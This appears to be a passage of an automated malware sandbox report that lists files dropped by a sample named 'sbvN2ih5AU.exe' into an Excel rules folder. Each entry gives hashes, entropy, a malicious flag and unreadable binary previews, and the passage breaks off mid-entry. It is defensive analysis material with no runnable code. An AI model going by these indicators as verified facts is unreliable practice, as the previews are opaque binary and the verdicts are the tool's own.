C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.664679554523799
Encrypted:	false
SSDEEP:	24:7wpDmqemRJES+13l7nrHeZr+cPmSxS6c42bD:7wYlmDESqlz45PFI6ED
MD5:	06779CD11C1B5B25A20B6FEFF50DE7BF
SHA1:	7761A9A370643CC1005F2D243A321D9A8A0A7CCF
SHA-256:	927A6AD0C7F0F1E60E70EBB605F231C5C95F702480C714E798A3F9B94671DC62
SHA-512:	26768D2FC1445F23AC653C3A79FE34DA4DAD753DD8B3F91C86B2A586F57CEA70788BD3FB5EE5BA21960C593FAB28705370EB30D021CD1B1EC5E13E9F3422611B
Malicious:	false
Preview:	<?xml.._.h.?.D.m&IhZ{..]`.c.........\|...1x8.......$.....e"s.4...XZOuU$.......9.g?.....D(..b.....D...+s.s+m.HKiA.D.V.".(l.w.....!..QK..G;..$.){yw,.?#}r...XZwIMp)...q..-.]..'-.m.4......6...%.>#:......`;UsE.4.p3.4.T./..Q....m..lBT..c....m.b.0.O.....a..!.HR.Q.t.).T(x....I...z.{^...5".-,...d.....c.D.x...'k....D\...z.0.>.;&a?u..[.Ym.0..d..P.i..%.6~w..Y.yB.mv..,..(....:V.w..xi,h]8...]...]..cD9.s;....cP.).\..3@v.5>VZ;.....?E..R.]...S)T..!j!>.....f..U....@P([{FSet9.L,[.,X.O<.....Ebd!!........7....ic..~..bX..8^..d2J.P...J...k.....cc.0...ym..B..;...^)V..6.T...[.:l.jr#f....N..x1:..`.}..m........fFz.C.C...@...p.X...1V.yO.4...6e...GU.<l..30'{.6.J.`.V.~..~...b.SsmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.761183754532995
Encrypted:	false
SSDEEP:	12:vU027nGujzwzXawzFwwXjmfVwF4liGfp5EkUSvZzEK8FjUIqsxn8EfY9bQ8KOV5D:vM7n6XaFwzmfV94kpmnjY9bTKI+2bD
MD5:	9299D72A3BB896C1339A68D7A92B6C6D
SHA1:	81FB314024B9A40577B3E6BB7E489FE4B59FA0CD
SHA-256:	CFEAF251757DD7E261404E11C50899307792A443740BE1663D211B58E95208D5
SHA-512:	78B3671C08BE51BDEB669A160FD36572F43B15D00622BFA9EE11166DB071BF627CCC307AFAE869DF4622CFA9CEBA362728DDC0D05882F2BA8AB3D26789B1469A
Malicious:	false
Preview:	<?xml..7R..4.~.$)....z...q....$q.c?...@.>g..a@.;..wu.q.>fC9n....CBE;j...au.]J..z...RQ.....]x..rWH.p.&&.Cz<............t.........I.d....,.....:h.h....g...t...JO.oG..v$D...!.I..........3]l..v.......3.K.B...!..I. ....W..~.D...0.>b.'l.oq...^...I.J.i3?.pXN........vL.B-.0:[..i4%f.g.7..._.....z.Tv(o............e.C.x....I. .U...g1."..K...`ned....v....^.....[D4...<.4Z].^....D8U%..@......1&....i.%......k'.)..R".:+....$...U...u..=w...L.YJLg.7.yi!e....U. .6&.....+..F.....0.U%l....9.....-.-=tv...G..8..o.E.....f8..w..`k_..K;.....h........~^.....vBXb..._..V.dO.......P{.....F...{j..e.W.....%....%Vf...-....%]/..YJ}N..2.PCtW}j.-..P^..f...\.q&.}. .7d...A..1.A..../..R/6..;I.w..pI'.....D....T.v9....r.*..........W.Jr..V....D.m..F.L......\|.Z}%K...o.+X9..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.926090290304409
Encrypted:	false
SSDEEP:	48:rdjtojKXfvw7aMaX0hzFturnu5fVxSss+jVQrg0ONfcJwM+dW8T2cED:rIKXCphzFNNxSss+jVqsNfYwM+9pQ
MD5:	8E970D75562D60B95590222AD11ED61B
SHA1:	C58614DCAD6D9C10F0811FB535EBBC482B66FADB
SHA-256:	FB9DF8320FCD40DDAC0B04DBEC3D18A8266544FE16E48C3003C9474C93284F87
SHA-512:	B1156847004CB02BAA49C052C6E3DD90687094860B8841482A29215B7174FE79BAF60B010867C9FFC74FEBFA74FD6DD933C50F2DAA5591DF585A8B0DD1FAE9F6
Malicious:	false
Preview:	<?xml........Q 7R.K.k...(.?.$.:.0m.....3..2./.....n~(....\|&.r.S1..q..q.2E....[Z.z.....,...J[.#.WV.^....k.......'..Q."$v.].........D.2.....owy.De..Rj../.h.=\..3.:...s...?M.P...M7.+`_~.}`.8...8.r..../C.]..3.!(J.~.t..d.Q.I.u..j....(.....I........;t..y..!...2.'.U.D....n....L...E..:...&u+...@.B.4.h...M.P=!..1y..g.f#....9.W>x...u^kF1.6.{.\/.C'.]j-...`..9X3....D.^..6...\|_u..D....J.....!..3...5....."..6c~..j...."...J..\x.z.'.d....y..,.c.&..L.A......"^..d.}..i....S7x.]D...L..}V..j..(.A..".d.]R.......`U..c...8..c....(.yY..<.1....T...'.=.?P.@.o.3..Q.M....7.\|e....)f....jwC....z.N.....Tl..B..........a.]I...^....Y...X........5Q.m...c..6.c%..;s..(..X.<A}..f.lJv...(&...O{.?.E....a... C.X..c..bf...7`.....D.A..2..-+.r.$W.+.....:.....k..8.+5..#....P...Z....bd.....^.e.F....I.U..k...i.c.g.-.../...\|m..2.\|..3.J.\.j.P...ca....4.M.S;..[......._.....c..$.G\|C.. .5..._......t.-..t.V....?.J....'....&W..y..`.......J.j..B.{x.....t0K...A.B.\LDJ....D..#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.96526921835431
Encrypted:	false
SSDEEP:	96:ZhcLvro9RnxbAEXs52/7kOFwT/CVWgNHKO7vmp0fJf7OPDRQXAiH7WpnL:Zhys7NAE3kO6AWUHJjZp74QpbWpL
MD5:	6FD69CEA30B2EFB021A499692A5C36C1
SHA1:	0D563B0C8A18CB7A7B0E41B0BFBA6EA2989DBB81
SHA-256:	907775A97FC29342B1EECE96E380B593C29D5D6040AA858C4F318D8DD003D82D
SHA-512:	23FE7A85BB797955053DF6ACF78A136C725509E656812E498C2186E399B876204D0E4A94CD7EB8B2ECFD76A17BF370ED9C5B39E6389A0D94481D892902209EEE
Malicious:	false
Preview:	<?xml........ z.Y2........K[y$.$.t.n.gh.zXh<.\|Xo.o...5vF..a.+1...qo}...\f..r.4u]>0.d.s$l..........l.7...xa....aA..O.z%:u.....L~G..%.@....@..L......I.3....J8`.......w.....=..=Ur.D..lRI..^V..&.g;.8.I.q......-ps.4.O...M.<..JDD.....&<.1.e..u+.p:1(.=^.C4.T.U3.C......=.E>....:-... ...}@...?(...S.L..l.x2.E@.O..FRf...N..w..lG.gRul./......&..RTX.>4.)<..^.....J..r..E%)...y....;....9".-2..5.......!L..v...."g. $..x...u..6.".[..f.f....U20l....\.h_.\|;.P...U-:d.C..;.....1.O...,....dB..dw.....Aev..?`.P ..M0=v.#l~...VZ....y.....M.E.$.#.z.......,..Ec}^........J...$1.c...R..r.O..B^...9..........mR....0.&.r...O..4...).(9....L8\|......4t..Ky..x.&.?J..B\|.".q.....m1;l....d....,.-t'72.pKZ...`.V.....3H...'...H..{.a........[..V..\|...D.$..t.Fu4\|0..{p.........S...Z.V..n<s.....z.......j..I..."..A...p......fw..[.......g..u.^N5.A.......;..B.2.G.Q.^.Rn9..H.'.;.....R_..?w.!..-....].....\!wv.`v.....\|..UL.Z1x,..mwF.f....#....cW...9..3...BI...j8.,I.\|.W.6Lf--.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.863023233100584
Encrypted:	false
SSDEEP:	24:N/B9W4mR/aJSLounYVJrLUjxrsDMFrNOu4QZtuEdZkkIBcr4h18H1vqP2QDawyWB:N/ja/LLFY3r4jBtDAEdZkkI84PgVaWwL
MD5:	37A038ED68CD1CEA2082ECCE9B5F2F86
SHA1:	19FD37C5DB8126672EF063220EBCDEBD7B53566B
SHA-256:	9007C193D69A087458C634A8E8C4044BD38F05B3DD1E024EF91E3D25468E5840
SHA-512:	01EC07429C6A9A5F84ADFB822F5B30DCE3BB9E4EECB23C5A20572D28787604BC2EB3E2C5919F53005A58964B46B66D828DCBA80E994AA1F0BCC9617E54C96D86
Malicious:	false
Preview:	<?xmlrx2k..4r..(&*.hq.\..s>.V...^......;.w.....!.{3^...._3.N.'m..$.1..T.....9...y.F..c...(.. P.A.Q.......'.......=z(\|........{F?.N..<..........I....#L5z..~-.Oj..C._c........B.:J..F..a.Ix.Y.Z.7'.x..7_.k...P....@..m..4.\|....0.o....6..L...w..mW.7kY...........\.......!D.Z....s...I3.....p5L.N..iC.(r.SM.4.l..`.P)....My:.Zt.Yc..b=zV7N0.o.......zi:_kB......#.!k....B.MvG....T0...j..E..y.;L..._.!..)..u..@q.O.9....[..T-.sN..f.8.;......&..~....T........zY.`.5._Y\K..y.E...x..H4..../..^.y./v.........{..:.....3.+JS...\.Q@.4..gz.i.-u........9W(..J../JH.me..O..H).J...Y...,qC..M.........$......8..,W.z/.._\|Nfx..O-.. .......s...z5!...Z.Ui....U2..4+%...W.".h.@*.VG.......>...iC.}..f[.+....;&..JPX...Tg.zR..<\)..A....=...6"eUK.q.._....D....U..^..m.J...>..d.t..DR+.!.=>...8...L..D..^..P.._...x.....e=.].Wd.qr)...@......8`)]...v..P%.....Ia.H\3_;1..Ia!M..\|.....:.TBZ{.'..-.9.0..M..._...9.3\...........I.....n.....x..U@qv.) .....x.Z$>...@...r.Q....Y...a]...$&U]aW.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.830987454139093
Encrypted:	false
SSDEEP:	24:+eFvVL0+4R5FqKXMco+cqstFczpDHRY5X+v+EfDpHF2bD:uV5bopduzp1YiHDp+D
MD5:	FB44119C2D877D5558D27EE7DE6D0590
SHA1:	E0D1EB312B275FD85BF52C686504F36137D8B04D
SHA-256:	8F1025E7D7F09BCF01EE80B325A4559E26CD66EDEC7F3EF1291F07A69E8A73CE
SHA-512:	37BA8B4A4F66A407713F47F34B624DD08ABB5AEF0EAAE73C6481AAB52D37B6D56588539CBBA6D5AEBDDB8D47E2403DE1AB17E10ACBE27FBD92DE49361506E8B6
Malicious:	false
Preview:	<?xml..a!...R.y..C..P.3i...p$^....~7......\|.?.k.x...{..?>.hg.>......nq.+(X..w.....p0..p..~.....4.`.....&.Fz.....gN..6W}...[...+jYe..^..................c<"W.39(.3.W...BG..O.C'...B.:.'.aj...].U...7..\d?.N...N ..q.9.`.....@..0....g.....6..Z.I............V.._Gg.......%....s.,.U.eW/..a.v...H.E.K=u4..~.~....&$...frC....M..Io.......8fs....(...2..sRH.7....UW.......&.;:..2...:.....D..A...w..PG...-J..e.....$..!2)....y.1...8.pr..V...F..)2..'?\|..K.l.A03..=.Fg....wv..0y.ICo.&%[@.....t...KYx....q.1..(.O...y.[........a.z{.f....Y..Er.3Q..L.......4.N.k/..I....F..?..w..o..}......E*mG.$..L!.>%....=.b..b.w..t..UD..1....7.S..V..$..b.;..Uj.w....a....Do..g%.0.jgQ....^.L./...z.h..%R....!..7-.I..7l...-.3..A.>..%.5..].n[...Q....p.h[...c...........v.>...........B..wnw\|.....>O...@.Q..v....S5.q.}....Iv...j...!_1.U.............@.t......a.;...NK.......E..N...}...m.d.\|....c..ND...A.]...\|.../{e8..\.k..iL\|J$..FKO......Ql...p.L....I`....8!..3..R......8T..{.hz..P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.94526540139235
Encrypted:	false
SSDEEP:	96:Ri+tpSFhM37y0Dvz2rxDvR2ADF9vV7fx+QHTODTjpIb/WO4BPd:UKchM3e0Dvz2lv7RV1HTATq/QF
MD5:	A31BDAB8282901BA65EF0A84AAF415D6
SHA1:	07AD389E072DDA189ABE64D1947AE9DF4BD2BBE8
SHA-256:	B7C61A03D55F7D4FD95C029F2592812599869C15F0A2E1CD7D734AAB182AD4FF
SHA-512:	675129AEB4D6390EEE5777312CD5743D5FF32AF036191CB70125CFD6494E0C2E0469DB354A14DF24C8F2957975A4007751549B9961513961C45BC8988942BB86
Malicious:	false
Preview:	<?xml~.e1...C..F..KJg.\|.J .Y...!Fl$.j.g.K}1\|.h.NB.m,.....Y(..?..g....5.$J.f9.$.fW..%.A."...~cN..../k.~h..s...b/M..\...^Q.@.....hssR.A.......`.X.'..5...`U...=.3...O....E..P...F.Kf.l.)Y#.D...1.......k...#....f...vj.i.Z....E:".\.............b....7mV..hI.....wU..#...k<...1.F.Ul...+...a=...%...q@.k..B.I}L.-..o....._K....S;.VQ..=..x0.;.(f..8......8..e..cCZ.....E..0.H.@...d.W.b.../.&zR.1"A....x.t?jc.p....O.v.m.\|.ND\|....N......!.........$.....W.qt...LhO..x..T.t...X.Z.p.r..7......z..'R........&W.....v...S.3./......FL.2....%K..C...[..x.......g<NJ.. w.............`....VuF../r.r./.^.w...tX.{....)Al..-...$......8...fi.@.........b..&#......w7`...v+..3.z..R.:.."...2.u.p.....@0.YJ.R%...>W.4...~.}.5..sq.._.>...>1.{.x.%Vt..@.".;z.o.....p.........#F/'z...%.W.9?%w...O....X_7....M...%H..m.....r[.y%..F.....Bkp.!.....J.....8I.".a.A....0.F..A....\|.^........b..`..b....h....S.fO..;.H7G.C.o:...p.G..yp../..{E.H.3n.......P.O...m2Hd..-y.k..9..../....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.747009307536412
Encrypted:	false
SSDEEP:	24:H4QBI4Oo20x5XQUakA9LpV9hEw23IzODIgWZf5Atq62bD:H4QfO45XQeeTEw2og0AtqxD
MD5:	265627BB64E475F87A28040079749C55
SHA1:	810F984EAA74EA5437A59B01A165111142324E0F
SHA-256:	EA28670E447C5493E73CF624B8FD060F433798B8931A0AABBFD5C5367E338D25
SHA-512:	3B22341F811FD74484CA1209AA70EA5D5E6A72F11EB77FD351D04ED84B2D5FF8495A973BFAB816A6AFC0E1AC959781299050C43C1AE89CF45F292B4DD74344E3
Malicious:	false
Preview:	<?xml.R.5.....5..n{..Nx.......(a9....\.T;0..TL.B..4L.y.+l.6.S.&....../5O.....o.$...S....}]f....$.$soTv..]...P.5.5.?.V.....P."p0\.UkO.6.,[7../3.....dd.{..3.ij....#.S.V.V...I....?....Bl.=h......q.7?.q.@...G.t}.$...<...'4(.I....K.tb.8.(..a..~t...Xed.oe..Z...u...:......K .D.).n.B...a....>.7..PH......P...u^k.Q...2R.@.z..D../.c..e.[g.T..H..D.A..l..<.u.h..q.C,...5i.S..,..].B'.2<,...0....E.i.2.v5.:....w.j.y./$...]......2E...}.AQ.VK(...ca.....7+.L..?.....u.G.....".uL......I......GcG'..{i...XD.......#.+...E........(.@....;<...Xs..mY...a.....9...f~E..L.)p.e(M.\|(...0..W..Z..U...t(.%.m...K..U...zt.(.....~e(`5.1..s..<...Q...._.....So5..`.Z#..-Xj......xu...[.c.....3..6.$..c\/.6..$.K..C..+.\~.4.H5.OJh.x.......~..q..c..p)..\....s..YP....Od.......v...}....A..rT..U"z.HZ.j.j.Pq.v....$A....z....,....\|..i.]..?...l......`.=.....9B.N.........[.U.%..L.tS.~.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.8139327529484675
Encrypted:	false
SSDEEP:	24:TOaO8Afysc529+EOSxnWwRzhl8SCmYI8yUw5DE7KyAnsn2bD:TOa5AfXcAJWwPuZmYI8yUwVE7KhnvD
MD5:	6D7B3E652A272D8B78E6DDB3C82D0650
SHA1:	7BA6C8AE1F3061E92B38713BE832C2F1698DABA2
SHA-256:	A3DD51A8E19B163AC48CB0E8FDF37937F14F7FF1EA7FD339279786F4709BE5F9
SHA-512:	28B914FD1B0D2DC6B899E1A075A66636CDA0344607F60258DE29AA7163CE4D8D25C2721927530CE36211EB6D0E9DE035B321F3F51739960CF872C9CC1CD85A69
Malicious:	false
Preview:	<?xml....+.[...4..V...A...qK#GYc....\|E.EU.j%.:..\8.[+.....s{..a..H..[.\.Ra..g!\|F.T..i-......5_......(l....6.6.]X..[.N5,~.#G.}.....,.2h.F...D..o&....Il........].,........x....T..#...nS<_..Vl.[.x.E..,.B..l.[Z...S...".3"...t.....Nc.m7..T..D..$..2H....4............[S..s..'..s...).c.~.."=...Vr&...j.[w.....C.q..ElX.......[...'..-...S....-......Q.....1...C....w!........O..Ft..A.....^..G..K...n...@<c..2.!.5..........=.C3.7....k...d...6DN...wC..z.X..p.....g}...U^.......4q.mv..E.me.(.DT!]....h.U.&Q.D.gU..$f....6...v...\|......V...w...6u...^.K.S.6.e..?#.....=...(.t.0.JI2..ZEH+.Q....p.wF{.\|4...........E2....Q....{...5K..%....S.A..\|..;I...8..Q~...=.:...t4.....s.2..c.W....mn.#$.$m...7af..l}...,..K....]n..C..--.../...U.;...]..{Tw+.....C.....>]..<..ZB..nOA.~.j1.u...}!J..h..}.U..8i..c.n.U..#j.J.XW.Z...tjOn...t.C...rh2..'.._.&.y..3...S(K...$....s..X.2.?5...P.~y......G.Ae.t."{5.A.....2.O.H..T.&O...m.E.H.J.d..jDB\|..0.N.ul....(.=v.........\U.(...0.Q..:.(i...TOe..,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.71526806305181
Encrypted:	false
SSDEEP:	12:pfB9sKFxFCsALfxqNmA++SvMDQmb5lUyJn77mbxOTYr3ZqBL+T4APZmfNvDXOSUn:pfrNFxIfDAZNQmb5lJF+bx/cBg4GmlvC
MD5:	411D726D1FBBEA5D7A58F6A4EC2CFF01
SHA1:	D73961EC81A3B20BDD96B4F9EC5D1DEF88AEEA37
SHA-256:	8C33428BCCDFE922E3184FC8336AB52DD42D9C4BD91F42F3A78A1B6104EB8071
SHA-512:	ED7E1F44435C77EF6BC60FDFCC2D18DC60A1E5D6FB801ACA0EE5D1CE9080644E767022C12905F8B40D5A8526A91CD9D2D41DEF13200A5701642BE56E6BEABD3F
Malicious:	false
Preview:	<?xml.....p....X..._(..sY$.V....(><,...<....P...H..A.]5[g..t...>,M..S.{.DX......T.I.$..0.w...~..b...O..2.....mD..Ve:<h$O...I\..F.......b..(v.M/..FXQb4..Ul{...y-.F..I@..]M..3..B..N./`...&..KG.s....~\.aa......L..<bLB...2RiR.]$.K....U..r.......b..B/...`)..-.d....Y..We..=.e..=.....0.fg.k.Z.oqQR.[A.1....]...;.Uo.ce....0.[...ST..u..<.#.#....V...@..c.U$..b....Z.L..v.%z.%..Z..3.?.n... 4...kY.....`l^>5>.s.Z&...n.cE!..+.S/......5.Li.2.MWd=....6./...25C.I....O..QD...r.N$.MM.].%l.H._.+?;.......o......p....7....Kk._.I....q....4.....u....n.F[5\|.S.;....c_...0..y.B.,J...3w6,.\....P..J...,..X.g..&Y.r....&}...=..j3];<i..L.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.949964268366612
Encrypted:	false
SSDEEP:	48:Bt+aC38cHXkvCA4jNZNVE8f9cYsjUZazv9SSuOLuUtupbyN1BDgUEfNMQc80sVzV:B1+8cHXOC5df9YJbuOr0byNXgUoz0kZd
MD5:	0CD68E5972B4DDB043A07B71CD6D5EE9
SHA1:	25B5CD985B5C80B435882F704B7D0B05BE075C05
SHA-256:	A63DAB772E84A3A9CC7B4733B32842BE527674EDF1A30F201FD9ED713B91C09D
SHA-512:	FE6E0B9B71D295B9013AF5BF775DBAC7616DB83CA00BD7F379C30FC261340B842C96D982BE696F746A6B8120AC7A260EA5E75B8C4A5616B18BA57C385FA60566
Malicious:	false
Preview:	<?xml.G..v.%..Go......r......CRQBmNh.^V.]...rE...w.[b.....y1.$\|.Dt....B.w:....m.a..i_$2.s.g..<.~.H..]......f...y.Qa....(....y.AN.....R_F1..t...i ....1..r...-.//.Y.F..KS/.m...G...w_.I.....@...1....?....M[....... .B\|......{P...w D....V5...V.Oex.P\|.`.....9.8...C.-..!.....U.F..2..q5.bNZ.A.#&...OE.(.P. ^...Nk.h....b..S...9w_.XFt..J.......[...A............s2m'cPy..P..7='.../..H.}z.p~n.O!g.H.k.-.A.S......^.....3..L..\...........v..o..f......>.x....k.. .J+..(..Yv...\|Z.fF7.3..TL.z...i..!KG..A....@....(...zS,<..Q.."._.j.t;.9{:...........d.>. .Zp1@.bv.{.Y..O.@..@/..,.n.]..X9_..q..7.Li.]...'....+...(l....e...;4z9IJ...6....qn.Vm.. p.UJ...Z.@VL.}..\|......;.e/... ..x ..h.$..........C&....DP.P..J.u..b\|.3...~.4+.S...C....(T.O....=.j...I......J.1....X...tc....'h.;..;.$.x....-.....#..........2...G.#..m.W. ...q.#+.....G..H.\.`.o,....1..=S...E.....GV.....8<\..s".&.."<....."f...}G......+.N.....>C.......#^Z..U...{..R...[.7"..?z..Tj1......S~...w[..~*\|g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.691878813979098
Encrypted:	false
SSDEEP:	12:5I5YW9OY4Yl09/b6dJ9Y+pOjMXL4rTxiEhG67XeVLZzunXCsFSUdNcii9a:W5YWcY415+dJ9FCTxRg6eACso2bD
MD5:	841F5E6859135B58C0506A70BB87AFE2
SHA1:	A5892C7CCBB13630B0A2A1F4BE447D80895DA626
SHA-256:	9529A24BD6308439607F74345F866DAFC8077F9E9C74AFCB63706149EEFB80A6
SHA-512:	332AB10D3581CB33AA7E61E236E75FC042D0EDEDE37E2A17572E93407A4D42DE3BF157C09C24DB1FD3E99CCBE6A7C5116258720A0A838C7F26C72017B89C384A
Malicious:	false
Preview:	<?xml?..3l..FH.E...c?.Dm..B....S.a....fH~...M.K..`....Q[a.S.f@a.i.......l.ji..3..G..\W.....W{&.Y$c...2X.w.6p..m. ..)..Y.Z1.n!.P...AtM8..}.....Bf.c.K..[.5.......Q`.o.>\.G..h.A....._......c.ve$".....D. ..K.]zS....I;.T..X4.u..BT.<.....JM.>..d.Y.X.....&...aY.Usw..ja...o.G"...6b..J7.v5seW..1.\|d....E.3d3........%....7pT.P...C_.5.c(00..0i..N.ik:.....i.=j\j..M!...i.q..O.......jH.m...C.N...~.I..G...[..Q.R}H....f.:."..\|...4.....X.>.PX.}..zk!d.t).k)..7.v.<...8D..).&./k.#.r!k..;..\|>..P.rJ.bw..D'....^Z.....F........~.G}.\|.*...s1...-.9.^[R...S..4...o2.S._.n.d.+....@7!Lk$B..f!t.!..J...x.[....#.G..{....-.......DS.i.z.'`..1.n.4.)c..B3..n..9.MU.E.......e...+......Vz.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.921136849175415
Encrypted:	false
SSDEEP:	48:acb2dlZ0uDliaOJ/yrySDxevSuTG5ZtQVd294u+zjiPY87xl3TwmD:a7qExMGZtgdcozjiQ8//
MD5:	3D07821084B5CA7D76DD49484944CF6B
SHA1:	128B5D4C8D002D20130257D40616467C41D2D116
SHA-256:	9008EAB00250F9B089D75EC98181E50586EF73D510F3637692FD062217816E3E
SHA-512:	B9CB04EE0C80C4F515782EBFB36258ABC8CB352B90FE0847FDE949E8BBAE012C463344DDAD05103B24DAA784F96EB7C3BCA127DD83DF767C2C598D937BEE182A
Malicious:	false
Preview:	<?xml.:K.}z.x.a@o"..l.....a.(..7...{S...{.jK.....}>.f`.i.....c~e.f.....w....6.~.....yNG.#%.J.=CW......h.c..C..<MV..A....f..Fh..#8\|...d..?...?f.7Z.....>K.....Y..%....'..-9i....V./`.k..+4g.3n...oL..89..........z@....8p4...N@...h..........I............2..P.....^............n....g....N^..z..w..-)...5%...;^.,.'k....J.h1h..%;1....{......J....`.....k...p.~k..P..Ac.p.3.....c.?....6..J. .[.#.[...pP?.'.z.Q5..K9@6.\- ..v.`+..4;..<N..R>.....d_...... ..,..k.....>M{!......B.....O7.I..K"...^.....)._..Q.....L...?...7Kc...Vdjl.b.IG"..Hs.:..._......tt....U..E.c.z..j.........0d.;.vr........)!._..v.....T.,...pm..+...K..[xo..P...dF:..@.]n{3.{.T.4g .........K.'....Lp...k.s"...R0F..q.SNf....,.-.\|y1@'@..1.......o...uc:.f..l.L..b....R...g.J.Y\......!.\.."......a...Q.q...\.x.....P......9.G.;.. .$.8q-\.1.U0.H...p..>x. .{.....3]p0AW....v..H...-.cr....".L...w..I.U....he..K.`.k]w{_.y.{.EE...P +{^.j.I..=....)...<..."'.J..V.....CaiO#X .;_.13.j.D/&I,...%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.996111742710797
Encrypted:	true
SSDEEP:	768:GRUxp7DovuKMfiwXPPkb1E2Cze+FKsvfbCckCmvrntH8Zhj0PYJTD:GRUxZkubZkbqptv8CmvruZhgQJTD
MD5:	027B87E54DCAD6ECEB408898EED4694D
SHA1:	1186AE8752769DFFE6C902DA7D144A7857DF71C4
SHA-256:	B0A313F1F19164599BEA9603D770E41BB089C6482E5C9EB65350E74620B1327E
SHA-512:	B84EA1FE0D286C6B96FA557E6A08CE9CD54721ACE7C1AE796394BAF13B83FC49FB484E3B3E5A0F8B5D2E2EEA0F60E3C00F3A866F1F03A75DDD8FFC755C611B93
Malicious:	true
Preview:	<?xml..,Q.`.5A..J.1.3kl.%..d6..4..1.hde?....N..sW..5.cc..(;...$.9..xq...VV..)...HR2n.!v.\|....0.h.....%4.2....%x.Ja~p9n..+m.....T.P......_o..H.I..eHz..z.y#C....s..~.{.\|4'/#....[.s?F..>..3....t.38..\|..~ ....,...#..i.......]....c...Zi..<.cwT.3.....E`."..Jk....."...G.%.i.9......4.._...N...clS...ig.....c.4iW...w...D...tM.;...Z.N'y.v.`.....Xuc..DL..nL.k(...K..'.#p"..KP.I...:..7n.U...c..4..6..{...bcJ.....i\|'..qrx#.C..,...Y..j..6,.(.\|twI.r.7.jb..l.8._mrrr.&.....?1.$...N.7F..b!s1.L./xT..d]...g!Q....C.2.zC9.BP.Y.7.%Z#.....\..09.....,..O....!.m.w.d.8.n,..":.6...Y..D...R.C}}..\dg#.......a..F.{.j\|r.M.p.....Qf.dW..UH........m...dYk.].eY.5..r..W..z...h....\|....pa.(..t.HZ.k.H.T.oiQgq...+I.........}:V./"E.q...d.0.T`..V..LVMR.W...b...PH..........w....%{.....{v.1..C%.3.lJ\s.....l..E.k.}h...\....g!/..K..$.3.X......*;...>)kn7.Q s.i..wQ.}.nn...OuR."_qpIU.;P...Qc.~..(.r._.h.......Z.[p..dT..K...([-.pL.......%5.&.."...,&t...or.[j....].n@...#.....!e.Z=I.C.Cb?.R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.923831135044333
Encrypted:	false
SSDEEP:	48:BPbj+SOsSutOaGVizHZdjXAlcXuanSvtpxagYK1ZVFj+D:V/Auo6HXDAGLgpSKlFjG
MD5:	21B937E04B2F953AA11906BE8C74C34D
SHA1:	8AEE368E6B40C0286552A45DC6A600686376F33C
SHA-256:	79F22D5410CD2B7AE35FE28C40AF02C4761D419E763C29DEB06CD3371F65115E
